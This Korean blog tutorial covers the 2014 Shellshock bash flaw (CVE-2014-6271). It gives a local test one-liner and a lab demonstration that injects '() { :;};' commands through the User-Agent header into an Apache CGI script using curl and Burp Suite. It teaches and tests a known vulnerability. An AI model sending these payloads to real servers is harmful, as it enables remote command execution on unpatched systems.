GNU Bash 환경 변수 명령어 인젝션 Shellshock
GUN bash Environment Variable Command Injection
발생 원인
공격 문구를 삽입할 때 () { :;}; [공격 명령어]; 를 이용하여 bash 쉘의 취약점을 이용하게 됩니다. 쉘 스크립트 문법을 분석했을때 함수선언 () 이후 { } 중괄호에 있는 코드를 실행 후 종료해야 하지만 Syntax 오류로 인해 종료되어야 할 시점 이후로 파싱되어 공격 명령어가 실행됩니다.
테스트 및 공격방법
+ CVE-2014-6271 [bash 테스트]
Shellshock 취약점이 발생하는지 테스트는 Unix 터미널에서 아래와 같이 입력한다.
env check = 'Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check' |
실행환경 : Ubuntu 10.04
~ $ uname -a
~ $ bash --version
터미널에서 환경변수를 입력하여 취약하면 Vulnerable 이라는 check 변수의 값을 확인 가능하다.
만일 취약하지 않다면 x함수를 정의하지 못해 무시한다는 문구를 확인 가능하다.
bash: warning: x: ignoring function definition attempt bash: error importing function definition for 'x' vulnerable |
+ CVE-2014-6271 : Remote Code execution through bash [공격방법]
Shellshock 취약점을 이용하여 Apache 서버를 원격으로 공격 가능한지 확인한다.
[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' localhost/cgi-bin/hi |
테스트 환경 : CentOS 6.3
] # uname -a
apache 서비스 시작합니다.
] # service httpd start
Apache의 cgi-bin을 이용하여 bash에 접근할 것이며, 이용할 페이지는 아래와 같이 간단하게 만든다.
CGI (Common Gateway Interface) 프로그램은 웹과 서버사이의 data 교환을 해주는 역활을 하며, 보편적으로 Perl과 C언어로 작성되어 있다. |
# ll hi
# cat hi
다른 PC 에서 웹서버 및 cgi-bin 구동을 확인한다.
일단 Apache가 구동되어있는 서버에서 Shellshock 취약점이 정상 작동하는지 테스트한다.
] # curl -k -H 'User-Agent: () { :;}; echo "test, oneandonlyme">/tmp/aa' http://localhost/cgi-bin/hi
임시 폴더인 tmp 밑에 echo를 이용하여 aa파일 생성 후 "test, oneandonlyme" 문장을 리다이렉트가 된것을 확인 가능하다. cat을 이용하여 /tmp/aa 내용을 확인하면 아래와 같다.
이제 원격에서 웹 브라우저를 이용하여 공격합니다.
사용 도구 : Firefox beta 버전인 Aurora, Burp Suite Free Edition v1.5
웹 브라우저를 이용하여 해당 웹 서비스에 접근 가능한지 확인합니다.
중간 프록시 툴을 이용하여 웹 서비스에 접근할때 HTTP 요청 페이지를 확인합니다.
HTTP 요청 페이지에서 User-Agent를 변경한다.
Shellshock 공격 코드인 () { :;} [실행하고 싶은 명령어] 입력 후 전송(Forward)한다.
웹 페이지는 HTTP 정상 응답 된 것을 확인 가능하다.
공격받은 Apache 웹 서버에서 결과를 확인한다. tmp 아래 aa 파일에 "test2,by oneandonlyme." 라고 작성된 파일이 HTTP 요청으로 생성된 것을 확인 가능하다.
실행원리
env val='() { :;}; echo [Unexpected command]' bash -c "echo [Real command]"
[Unexpected command]
[Real Command]
1. env val - bash 명령어가 실행되기 전에 env 환경 설정 변수가 설정된다.
2. echo [Unexpected command] - 임의로 고정시킨 명령어가 실행된 후 bash가 실행된다.
3. Unexpected command - 예상하지 못했던 먼저 실행된다.
4. Real command - 예상된 명령어가 다음 실행된다.
bash 취약점 보안 가이드
http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x-0157606/
참조 자료
http://lifehacker.com/how-to-check-if-your-mac-or-linux-machine-is-vulnerable-1639211806
https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
'20. > 22. Linux' 카테고리의 다른 글
SSH 접속 시 RSA 공유키 충돌 (0) | 2018.03.28 |
---|---|
[Ubuntu 12.10 Desktop] 우분투 메뉴바 사라짐 (0) | 2014.02.05 |
How to install DVL (0) | 2014.02.05 |
[Linux/부팅] 리눅스 부팅 과정 (0) | 2013.07.08 |